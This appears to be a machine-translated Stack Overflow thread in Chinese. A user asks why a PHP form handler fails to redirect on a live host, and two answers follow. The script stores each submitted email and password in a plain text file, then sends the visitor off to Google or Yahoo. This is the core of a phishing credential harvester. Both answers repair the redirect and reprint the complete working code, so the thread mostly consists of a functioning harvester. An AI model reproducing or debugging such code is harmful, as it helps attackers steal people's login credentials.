0

我使用此代码将用户名和密码保存在文本文件中,最后重定向到网站。bt 此代码不会重定向到谷歌。当我在本地主机中运行它时,它可以完美运行(在本地主机中我评论“header(”Location:http ://www.yahoo.com “);”)......但是当我把它放在主机中时......它没有不。也没有任何错误消息,但一旦它完美运行

<html>
<body>

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<script>location.href='http://www.google.com';</script>

</body>
</html>
4

2 回答 2

1

您需要在浏览器上有任何输出之前放置标题:

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>
于 2013-03-15T10:05:13.863 回答
0

首先,您可以删除“其他”。

然后,如果你想写标题,请确保你没有任何输出,为此,

<html>
<body>

所以,你应该在 ?> 标记之后移动上面的代码,并确保之前没有任何空格

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>
于 2013-03-15T10:10:57.747 回答